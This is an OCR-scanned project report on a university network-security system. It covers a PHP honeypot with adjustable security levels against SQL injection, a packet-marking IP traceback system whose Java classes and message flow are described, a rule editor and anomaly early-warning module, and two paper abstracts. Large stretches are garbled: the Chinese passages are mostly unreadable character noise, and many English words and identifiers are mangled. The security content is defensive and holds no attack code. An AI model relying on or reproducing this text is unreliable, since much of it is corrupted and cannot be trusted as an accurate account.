the HTTP POST method.

Security level 2 : ;t:é’kgi;-llx
TP R F ~(eg.
gy E)o ek T
825V 25 79
¥

LA AN I

f%*-ﬁﬁﬂﬁjﬁ?ﬁ?&o

Lib.php

ini_set

. String
$varname

“display_errors”

1. String

$newvalue :false

Security level 3 B &g
7T 4R 4 ($newvalue
= true #-¢ BT 45 3E3

;
]
"

Lib.php

char_strip

HTTP_POST variables
&$ POST :

an aray of variables
passed to the current
script via the HTTP
POST method.

Security level 4 : #4715
o FRRT A
WA TF az, A-Z

0-9% 34 « 3

Lib.php

(LY 3

Variable Name

Functionality

Reference Program

$link

i = Script #23¢ & 5 MySQL &

article.php ~
Blist.php ~
board.php -

index.php ~ lib.php -
log.php ~ login.php

WEBURL

% 4f % =2 Domain name

(P % % hitp://140.115.53.34)

article.php

board.php ~ lib.php ~

~
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log.php ~ login.php

not_login yet :0 i# ﬁ B A article.php .

|Ogin_err0r 1 n0t_|Ogin_yet _ % #\ )E, N boardphp ~ ||bphp ~
: ) log.php ~ login.php

login_success :2 login_error - FEEE N RS gj,;]

mal_user ;3 »EFE(EER)

login_success - % » = #

mal_user - F Rk

XX

p

3. board.php: #%H¥E 1L F o
darticlephp: EJ2 > F GRTH - 8 i ks
RS Rl
SRR O RARBAE AN A kAT B EEY e e S A H
Briez it (fgsl) ®Wivdh - k7 RiEMmL o (7 FHRETH)
Al
PEY LHRHEHBRAFRA(CE)
Honeypot : % 4
Entrap unit : £ & ~
Manage Unit: ¢ 2 & ~
Record Unit: & 48 ~
SQL injection : F L AL »
security level @ % > ¥ &

remote control : g =k -4
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root@wnl-PCL: ¥ | /rpcset.o setpn
SETPN =0
root@wml -PCL:"¥ | frpes setpn 1
SETPN =1
root®@wnl -PCL:"# | /rpcset.o load
Load npc.config is finished!
root®@wnl - PCL:# .

Rl 4-6 34 {7 44k load
e F % % Java cha i oo g BB Traceback T %0 X 16 4 {7 Traceback javas

# » java Traceback” » it 5344 {7 GUI 4 & » 4= 4-7(% % ID[1]4= 11D[2]) -
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B 4-7 Traceback % &

BEG Y oF - BRI AFGAFEE > RN L G SRFL
7 #24] > Source IP 22 DestIP 4 = %< & IP 4t (4 192.168.2.4) 7 ¥ HoF 15 % o
DestPort f| ¥ *c#ic3 » H 4[] & 0~65535 - IPprotocol *c % 6 i # TCP % » 17
% UDP = %_- Router IP #| & MPC :1IP» ¢ 73k ¥ IP 4 4 - Date §9 Time

hig * 2 300G =48> Date& Time 3% 4 i ~ Date 4 i & Time 7 § i {r Date

-

&Timet# 3:E » 25 Time 3£ Daeily 3 :E @iz * &> Date & Time
&

SREHE S FD SR T REEPE EHEE T L4 T T 2 eh Search
Bl PIVEFAAOH T 3SR 48 R E S ERFIRDIGED

subnet g B o
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B 4-8Traceback #H 7 %% thd &

FRER T

MySQL FAl B % 2 4 & F A3 A 2 e 5 Poinpd] » AP
phpMyadmin £ & (7 F V3% % Lo ¥ % 0 © K #%-apache 1 2
phpMyadmin % % = & > #1238 oy “J;f;?ﬁi% » http://127.0.0.1/phpmyadmin/
e MySQL TR EEIZE 6 0 4o Bl 4-9 #1oF o
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phpVi

#:0{# Bl phpMyAdmin 2.11.3deb1ubuntu1.1

—Language @

th3r - Chinese traditional (utf-8) v
—BA 0@

BEAAW: wnl

EE:

B 4-9 phpMydmin sn% &3
A FEE RS AP RRATHA PR R HTHRE wnl o 2 8 TR

ol

Bownl p T3 table &5 tam > AR08 R T AR AE 0 Bofs i T R e

T
’:‘:/L: ',"’Lﬁjhlé:}:’\f,, L

(1) —F“'[itr]ij' ?ﬁl‘l[?[ » 2 (M B8] wnl E}.?Hrgl , q%“ 4-10 o

[(IMySQL 224838 UTF-8 Unicode (utfB)
EIMySQL st
utf8_unicode_ci v

CEHERE ©

(B3 v | [ &3

B 4-10 2 = 37542
(2) £ wnl E*?H'ﬁl % o TS (TR table » £ EL tam o q%ﬂ 4-11 -

wHE — ol AL R R wnl

wnl (1) v | & MR E:
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(3) < table pruffEft > q\gﬁl 4-12 -

i

B 4-11 373 742 4

AEEEE =

whE STime

wnit (1)

L1 )

DATETIME
DATETIME
INT

INT

SMALLINT
SMALLNT
SMALLINT
SMALLINT
SMALLNT
SMALLINT
SMALLINT
SMALLINT

SMALLINT

e fe Bt 10 e e 1)l e g 11 | He

phpliphAdmin _Nam F88 _Bso S px Fee Hew Nea Xew Taw Xew

[ 4 T L it

-

-
10 - UNSANED
0 - UNVONED
5 - UNSEINED
5 v UNBAONED
] - | UNUOMED
S - UNSIINED
= v UNSISNED
s v UNEENED
5 o ML ENED
S - UNTIGHED
5 v VML HED

Bl 4-12 4 =% %

(4) B heRlite MR > EFTIRT  HARI  f 4-13 -

I S 3rEnUER @
CHEIR

Y=g a1

A

HEL PN

AR

& VREHHE

— X BROEREEHH
(G B B2 A Pl A U Z R PRI B )

[ mbsueE FEE Bl EkE

']

(5) MUPLBREETSA R B SRR U 0 (20 A0V R

SRR R R [ 414 ¢

b ESFENER ©

SHET
(S
b
HET N
EEmr%
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B 4-14 £ 373 P~
BFRE S FRAFE Y FmEr 2R ERBHRTHEFTHE B
BB 0% re— Bk A 0 letc/mysgl/my.onf shid B EAER 0 AR ARG - 7
% 7bind-address = 127.0.0.17 > d 535 (7 ' L4 £ § A 440 59 5B F AR > F]pL A g
R MU SR 1TILfR 0 BT 0 P # 5 7 #bind-address = 127.0.0.17 0 R T

BEST R RS 0 4o 415

#
# Instead of skip-networking the default is now to listen only on
B localhost which is more compatible and is not less secure.
#bind-address = 127.0.0.1

i
f * Fine Tuning

i

B 4-15 312 i & 42 3 75
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8 iRl 3o e K8
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port HHL

Available Port

id B 5L

port HHL

gid H

Port group

id B 5L

pgid e B

port HHL

Rule

Rule ERNO
Root % % % Root
Left e e O
Right + 3+ 2 Bl 5
Operation LIRS
Description RIS
Sub-rule

Sub-Rule SRER UL
Sourceip &Rk
Source Port &R IEEL
Destination IP B ez kb
Destination Port B iR g
datetime pHp R

max B

min B B
Unsafe Port *E rendpile b
Sourceip gid KB e
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There are two parts in the system. One isthe MCC server, the other isthe MPC

server. The following is the related code file and file category bind to each server.

MCC server:
|--Architecture
|-- Traceback.java
|-- MccServer.java
|-- MccThreadTask.java
[-- MccTimerTask.java
|-- Connector.java
|--GUI
|-- NetFlowButton.java
[-- QueryPanel.java
|-- SimpleTable.java
[--MessageType
|-- MessagePacket.java
-- Command.java
- MCCEntry.java
- TAMEntryjava

I
E
=
MPC server:
|--Architecture
[-- MPCSidejava
|-- ServerThread.java
|-- ConnectionThread.java
|-- Connector.java
[--MessageType
|-- MessagePacket.java
-- Command.java
- MCCEntry.java

I
I
|-- TAMEntry.java

The following is descriptions of each codefile.
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Traceback.java:
The main GUI and create a MccServer to negotiate with MPC server and create a

timer to schedule the request from the Honeynet server.

MccServer.java:

Create athread pool and a server socket to accept connection from MPC server.

MccThreadTask.java:
Take each requests and responses from the MPC server or Honeynet server and

process each request and response depends on corresponding subsystem and request
message type.

MccTimerTask.java:
A thread used to execute the traceback operation according the request from the
Honeynet server.

Connector.java:
Create a connection with the local host database.

NetFl owButton.java:

A button associated with the request which come from the Netflow subsystem.

QueryPandl .java:
A panel which is used to accommodate the NetFlowButton.

SimpleTablejava
A table which is used to show the path responses.

M essagePacket.java:
A message packet typeto let the MCC server, MPC server and Honeynet server

to do communication.

Command.java

Each MccTimerTask has a command object which tells what the operation the
312



task needsto do.

MccEntry.java
A message type which equal to the field of mcc table in the database.

TAMEntry.java:
A message type which equal to the field of tam table in the database.

MPCSidejava
The main function which create a ServerThread object.

ServerThread.java:

Create aMPC server socket and athread pool to accept the connections from
MCC server.
ConnectionThread.java:

Take each request from the MCC server or the other MPC server and do some

operations according to the request message type.

The following is each class diagram.
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Traceback

-gervel: MccServer

-MccHostAddr:Inet Address
-MccHostPort: int

-MpcHostPort: int

gequenceNum: int
-honeynetSequence Num: int

-netflow Sequence NumMain: int

-netflow Sequence Num: int
-correctPathList: Vector<Object>
-errorPathList: Vector<Object:
-netflowCorrectPathLigt: Vector<Object:
-netflowErrorPathList: Vector<Object>
-NetflowRButtonList: Vector<Object>
-honevnetCorrectPathList: Vector<Object>
-honevnetErrorFPathList: Vector<Object>
-FindInFath QueryList: Vector<Object:
-FindOutpath QuervList: Vector<Object:>
-TimerTaskList: Vector<Object=
-ServerTimer: java.util_Timer
-day:GregorianCalendar

zzoppConstructor==+Traceback()
+getFunction():Object
+getFunction(Object:Object):void

+invoke WindowClose():void
+honeyNetSaveToFile():void

+zaveToFile():void
+invokeTraceBack(zourcelP:String):int
+increaseSequence Num ():void
+increaseHoneyHetSequence Num ()zvoid
+increaseNetflowSequence Num (J:void
<<oppEvent>=>tactionPerformed{e: ActionEvent):void
<<oppEvent>=> HtemStatedChanged(ie:ItemEvent):void

MccServer

-TracebackInterface: Traceback
-thread Pool: ExecutorServer
-MccHost: ServerSocket
-MccHostAddr: InetAddress
-MccHostPort: int
-MpcHostPort: int

<<oppConstructor>> +MccServer(ip:Inet Address,port:int,tb:Traceback)
+ run():void
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MccTimerTask

—server:Traceback
-MccHost Addr:Inet Address
-MccHostPort:int
-MpcHostPort:int
-cmd:Command
-date:java.util date
-dirname:String

<<pppConstructor>>+MccTimer Task()
<<oppConstructor=>+MccTimer Task(sv:Traceback hostaddr:Inet Address,port:int
;Lcmd:Command,date:java.util.Date):void
+getFunction():Object
+zetFunction{Object:Object):void

+run):void
+doTraceBack(subSystem Type:String sequence Num:int,sql:String . DAIP:long,

MccHost Addr:Inet Address,MccHostPort:int, InOutMessage:Siring)-void

MccThread Task

-Traceback server:Traceback
socket:-Socket

-MccHostAddr:Inet Address
-MccHostPort: int

-MpcHostPort: int
-outputSiream:ObjectOutputStream
-inputStream:0ObjectInputStream
-HONEYNET DELATY:int
-SCHEDULE INTERVAL:int

<<oppConstructor>=>+Mcc Thread Tas(sk :Socket, MccHost Addr:Inet Address,
MccHostPort:int, MpcHostPort:int,server:Traceback)

+getFunction():Object

+getFunction(Object:0Object):void

+run):void _ ] )
+doTraceBack (subSystem Type:Siring .sequence Num:int,netflowSequence Num:int,

gql:String . DdIP:long , MccHost Addr:Inet Address, MccHostPort:int, InOutMessage:

String):void ) .
+actionPerformed{e: ActionEvent):void

Connector

-DriverName:String
+URL:String
+USERNAME:String
+PASSWORD:String
-conn:Connection

<<zoppConstructor>>+Connector{rip:5tring)
+getConn{):Connection
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NetFlowBution

-SIP:String

-DIP:String
-DPORT:5iring
-Protocol:String
-subSystem Type:Siring
-gsequence Num:int
-netflowSequence Num:int
-gql:Siring

-Ddip:long
-MccHostAddr:Inet Address
-MccHostPort:int
-InOutMessage:String

<<oppConstructor=> +NetFlowButton()

<zoppConstructor=> +NetFlowButton{SIF:String ,DIP:String,
DPORT:S5tring, Frotocol:Siring ,sn:int,sql:String, Ddip:long,
MccHost Addr:Inet Address, MccHostPort:int, In OutMessage:String)
t+getFunction():0Object

+getFunction (Object:Object)-void

QueryPanel

-iap:1ScrollPane
-jp:JPanel

<zoppConstructor>» +QueryPanel()
+addComponent{obj:Component):-void
+removeAllRows():-void

SimpleTable

Hitles[]:5tring

-DefaultTable Model model:DefaultTableModel
-jt:JTable

-jgsp:I1ScrollPane

-column:TableColumn

<zoppConstructor>>+Simple Table()
z<oppConsiructor=>+SimpleTable{col:String[])
+addString Array(input:String[ ]):void

+add String Vector{input:Vector<String>):void
+removeAllRows():void
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MessageFacket

subSystemType:String
-sequenceNum:int
-netflowSequence Num:int
type:String
-mccHost:Inet Address
-mccHostPort:int
-InfoList:Vector<Object>
-IIDList:Vector<String>
-message:Siring
-InOutMessage:String

<<oppConstructor>>+MessagePacket(gn:int,type:String ,message:String)
<<zoppConstructor=>+MessagePacket(sn:int.iype:Siring)
<<oppConstructor>>+MessagePacket(subSystem Type:Siring,sn:int,type:String)
<<zoppConstructor=>+MessagePacket(sn:int type:String, message:5tring , mccHost:Inet Address, mecport:int)
<<oppConstructor>>+MessagePacket

(subSystem Type:String ,sn:int,iype:String , message:String, mcc Host:Inet Address, mccport:int)
<<oppConstructor=>+MessagePacket(subSystem Type:String,sn:int,netsn:int,type:String,
message:String , mccHost:Inet Address,mecport:int)
zzoppConstructor>=>+MessagePacket{copy:MessagePacket)

+egetFunction():Object

+setFunction{Object:Object):void

Command

-command:String
-arguments:Vector<Object>

z<oppConsiructor=>+Command ()
z<oppConsiructor>>+Command{cmd:String)
+setCommand{cmd:String)
+getCommand():String
+getArgumentz():Vector<Object=

MccEntry

-IID:String
-subnet:Siring
-IP:Siring

zzoppConstructor>>+MCCEntry()
zzoppConstructor>>+MCCEntry(I1D:5tring, subnet:String, IP:String)
t+getFunction():Object

+setFunction(Object:0Object):void
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TAMEntry

-STime:5iring
-ETime:5iring
-SIP:Siring
-DIP:String
-Protocol:String
-DFORT:String
-IIDNUM:String
-IID1:String
-IID2:5tring
-IID3:5tring

t+zetFunction():Object
+setFunction{Object:0Object):void

MPCSide

+main(args:String[):void

ServerThread

-ServerSocket service:ServerSocket
~currThread:Thread

-address:Inet Address

-port:int

-backlog:int
threadPool:ExecutorService

<<0opplonsiructor=>+Server Thread()

<<oppConstructor>>+Server Thread (port:int,backlog:int)
<<oppConstructor>>+Server Thread(port:int,backlog:int, Address:Inet Address)
+getPort():int

t+get Address():Inet Address

+start()-void

+runi):void

+stop():void

+destroy(:void

HoString ():5tring
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Connection Thread

-socket:Socket
-inputStream:ObjectInputSiream
-outputStream:ObjectOutputSiream
-currThread:Thread

-port:int

<<oppConstructor=>+Connection Thread(socket:Socket,port:int)
+stop():void

HromMCC({5QLstring:5tring, pki:MessagePacket):void
HromMFC(SQLstring:String ,pki:MessageFacket):void
+doFragmentation Resp(SOQLString:String,pki:MessagePacket):void
+indInPath_QuervyResponse(destIP:String,pki:MessagePacket):void
HindOutPath_QueryResponse(sourcelP:String ,pki:MessageFacket):void
+close_connection():void

+run():void

l

Create the interface| | Netflow Analysis

]

(Traceback

-
Search Button invokeTraceback

doTraceBack [

1. Check the input of Souce IP, DestIP , DestPort

If erxor, show error message and return.
2. Set the input for save file and show on the GUL J_‘
FromMPC
3. Clear related Vector List and Table infomation. ¥ I

1
. r
4. Construct a query depends on input. iR > ’4_1__ ‘|0ul
5. Get all the MPCs from the mec table depends on the DestIP, {If _

subnet [PADestIP is minimum and < Mask , the DestIP is in the 4,c—|
subnet IP), andwcgeli]ml]])ofl]msubnﬁl[P in the we | =

buffer each entry of mee table,

6 H‘notex]stonesuchl]]) then return , else we get the IPs of
P h_the same 1D, %mwamsmmck&tmtbme H

o 'lymmsage constructed query set in s

and assigned Subnet IID in IIDList and subnet IP in the —{FindlnOutPath_QueryRequestt——

with message Type equal o "F;

FindInOutPath_QueryRespons
6.1 fragementaion selecwed L MPCs ’» — i e i

eqmcenumber out of date, return "SNOUT" message .
Else get the "AskIIDTolPs"® or “ErrorPath® message. _

Note:

1. There are three subSystemType, “Netflow”, “Honeynet”, *”
(Think as “Traceback”).
2. In Traceback, it contains sequeceNum for traceback,

honeynetSequenceNum for honeynet, netflowSequenceMain and
netflowSequenceNum for netflow, netflowSequenceNumMain is
used to count the request from netflow, netflowSequenceNum is
times of doTraceback in netflow. The sequence number is used to
tell the out of date of the request or response from the MPC.

3. Each subSystemType hasiits correctPathList and errorPathList and
correct simpleTable and error simpleTable data structure. For
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Netflow, it aso contains FindInPath_QueryList and
FindOutPath QueryL.ist.

4. Each coming request buffer the related query information and
time stamp , and later new request one need to save the previous
request do traceback results and related information into afile and
into the according directory
(/Traceback , ./NetFlow_Analysis, ./HoneyNet).

5. The query is set by MCC, and it set the query in message field of
M essagePacket Object.

6. The previous one (MCC or MPC closer to Destination) set the 1D
and subnet IP of later one (MPC closer to Source) into
M essagePacket Object.

7. When the system was closed, the system will save adl the unsaved

results and then close the system.

Thefollowing is detail description:

Traceback contains the interface and create a MccServer. MccServer
Isaserver which use to accept al the connections from the outside. If one
client connects to the MccServer, MccServer create aMccThreadTask
object to serve the connection. The server thread first to read the object
from the client, it’s the MessagePacket Object if the client isfrom the
MPCSide, it’s the String Object if the client is from the HoneyNet. If
M essagePacket, first we check the corresponding sequence number and
corresponding subSystemType (Netflow Analysis, HoneyNet, “” is the
Traceback). If the sequence number is out of date compare to the
sequence number in the server, the server just send “SNOUT” message
packet to client tell the request is out of date. If pass the sequence number
check, we serve the packet according to the type field, it has four message
type. “AskIIDTolIPs”, ”ErrorPath”, “PathResponse”, “Fragmentation” and
“FindInOutPath QueryResponse” type.
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First we describe AsklIDTolPs. MPC will get the 11D1 or 11D2 from
tam table with the query send from previous MPC in message field of
M essagePacket Object, after get [1D1 or 11D2, the MPC client need to ask
the MCC what the IP of MPCs under the 11Ds. So the MCC server will
get the IIDs from the MPC client and get each entry of [1Ds from the mcc
table and send back to MPCs.

Now we describe ErrorPath. Each time when the MPC ask the
database with the query which initially get from MCC, if the result is no
answer about the query, the MPC need send the message packet back to
MCC tdl it | wasthe last one. Note that the message packet always copy
the packet receive from MCC or previous MPC , and each time the MPC
get the new MPCs I P(closer to source), it need set the subnet IPand 11D
of new MPC in the message packet and send to new MPC. For example,
A (source) <- B <- C <- D (destination). D get the subnet 11D of C, so it
ask MCC the IPof C and it set subnet 11D of Cto IIDList of
M essagePacket, and subnet IPto InfoList of MessagePacket, and then set
the type equal to FromMPC and then send to C. If query result is no entry,
it means we are the last one, so it sends a ErrorPath M essagePacket back
to the MCC. We eliminate the error path which is subset of correct path
when the cancel button is clicked and the error paths which not
eliminated from correct pathsisthe real error path.

Now we describe PathResponse. When the MPC query the tam table
and get the entry with A 0 0, it means its the correct path and the MPC
send path response type MessagePacket to MCC. MCC save the path
response.

Now we describe the Fragmentation. If MPC get the Fragmentation
M essagePacket, it query to tam table get the I 1D 1 of first one entry of the
results and set to I1DList of MessagePacket and send back to MCC. MCC

get the Message Packet, get the |1D and query to mcc table and get the
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corresponding subnet IP of the 11D and show the resullts.

Now we describe the FindinOutPath_QueryResponse. When the user
pushes the button from Netflow interface, it will invoke the
invokeTraceBack function in Traceback.java. We just get the source | P, so
we need to send FindInOutPath_QueryRequest to al MPCs, each MPCs
will invoke findInPath_QueryResponse and findOutPath QueryResponse
. FindInPath_QueryResponse will query tam table with query DIP =
sourcel P and FindOutPath_QueryResponse set SIP = sourcel P, they will
get the results, the result may duplicate, so we need to reduce the
duplicate. And send al the results(tamEntry is entry of tam table) back to
MCC with MessagePacket type equal to FindinOutPath_QueryResponse
and InOutMessage field set equal to “In” if in FindInPath_QueryReponse
function, and “Out” if in FindOutPath QueryResponse function. MCC
get the message and a so need to reduce the duplicate and buffer the
message in FindinPath_QueryList and FindOutPath_QueryL.ist
accordingly, both are vector data structure. And then it create the
NetFlowButton object with the message. So the user can push the button
and the actionPerformed event will trigger and do traceback with the
guery information in NetFlowButton object.

Now we describe Message from the HoneyNet. The Honey will
connect to MccServer and send four strings which are subSystemType
(“honeynet”), SIP, DIP and DestPort. The server gets the first object (here
is a String). If it’s a string, we can tell it’s from honeynet. And we get the
following 3 strings (SIP, DIP, DestPort). Traceback has atimer and a
TimerTaskList (vector) which use to buffer the MccTimerTask Object.
We get the 4 strings and create a MccTimerTask object set with the 4
string and time stamp, and schedule the MccTimerTask in the Timer with
HONEYNET DELAY+SCHEDULE INTERVAL,

HONEYNET_DELAY (second, default is 60 second) tell the delay cause
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by packet Listener program, and SCHEDULE INTERVAL (second,
default is 30 second) is the execute time of doTraceBack. If the later
request come in 90 second, the scheduler will schedule with interval
equal to 90 second, which means the previous one will exec 90 second
and then the later one execute. If later one comes after 90 second, the
later one will increase the Honeynet sequence number and save the
results and information of previous one and clear related buffer and start
to do traceback.

SIM
MCC
- editor.java

- Connector.java

SIM

| Profile builder
- SIM_Calculator.java

| Early warning
- FTA java
- EarlyWarning.java
- EditDistance.java
- HostClustering.java
- K_medoid_Algorithm.java

CSIM
- SIMMain.java
- SIMPacket.java
- SIM_Processor.java
- Host.java
- Link.java
- Pairjava
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- Profilejava

e Ruleeditor
Rule editor is placed on MCC. It receives the authentication identity from MCC

and decides which rule database of subnet the user can access. Rule editor will
directly modify the rule database of the subnet that user has access privileges. In
addition, when aruleis added or updated, rule editor will perform an SSH commend

to the particular SIM server for generating XML document of that rule.

o Connector.java
Used to connect to the rule database for the rule editor.

o editorjava
Core code of the rule editor.

e SIM
The functionality of SIM server isto perform anomaly detection and then

produce early warning list. However SIM does not communicate with MCC
immediately, but store the anomaly list in its database and upload the early warning
liststo CSIM through the SCP program.

o SIM_Cdculator.java
Constructing profile and comparing the rules in database to generating

anomaly host list

o FTA java
Performing Fault Tree Analysis

o EarlyWarning.java
Generating early warning list

o EditDistancejava
Calculating the similarity of host according to their profiles

0 HostClustering.java
Clustering the hosts according to their edit distances through K medoid

algorithm
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o K_medoid_Algorithm.java
Implement the K medoid agorithm

e CSIM
CSIM isthe abbreviation of Center SIM, which collects the abnormal list from

each SIM and response the request from MCC. When MCC send arequest to obtain
anomaly lists, CSIM will generate NodeL ist and EdgelL ist from the database in SIM
server. On the other hand, when MCC send arequest to obtain early warning lists,
CSIM will directly response the list received from each particular SIM server.

o SIMMainjava:
Create the network socket and listen to the requests from MCC

0 SIMPacket.java:
Define the structure of SIMPacket that used as the message format

between CSIM and MCC. SIMPacket isinheriting M essagePacket and

adding a member called “Object” which makes transmitting data possible.

0 SIM_Processor.java
Obtaining node and edge list from database according to the requested

abnormal type from MCC.

0 Host.java
The host list data structure.

o Link.java
The edge list data structure.

o Pair.java
The data structure of Pair.

o Profilejava
Constructing profile from data warehouse and convert the data format

into JTree which is used to be shown in MCC.
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Abstract

Honeynet adopts a different concept, which induces an attacker to attack it. The system could
record and report all the process of attack, including attackers’ networking behaviors. Such systems
collect detailed and extensive information. In the project, we focus on Honeynet, invasion profiling
technique, and will integrate above-mentioned techniques, implement a complete Honeynet and risk
estimating system, and verify its resistance by imposing common network attacks.

Traceback mechanism does not work well for packets sent from a spoofing IP address. In this
paper, we propose a packet marking technique which can deal with this problem. We utilize the
Identification field and reserved bit of Flags field in IP header to fill in the 1D values of MPCs which
packet had traveled. These marked records are buffered and periodically uploaded to a database of the
MPC. The stored information can be retrieved to obtain routing paths.

Keywords: network attack, Honeynet, Honeypot, intrusion detection
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A profile-based network security remote monitoring system

Wen-Chih Peng, Jiun-Long Huang, Zhung-Xun Liao, Zheng-Hui Lee, Hsiang-Jen Chang, Chun-Chung Y ang and
Chin-Liang Tsai
Department of Computer Science,
National Chiao Tung University

Abstract
The development of Internet causes our life more and more continent but also leads to more Internet crimes. To help
network security experts for analysis the menace from Internet, we need an automatic analyzer and pre-warning system.
In the real world life, different hosts would have different connection behavior, thus we proposed a pre-warning system
which is based on network usage profiles. This system consists of data warehouse, rule editor, pre-warning, and risk
analysis modules. We adopt the firewall log to construct the profiles of hosts which is used to monitor the behavior of
hosts. In addition, the rule editor could help experts to customize new rules, and the abnormal hosts will be displayed on

the graphical manner. We design and implement a semi-automatic system which abates the burden of system managers
and enhances the safety of networks.

Keywords:. security, data mining, profile, risk analysis
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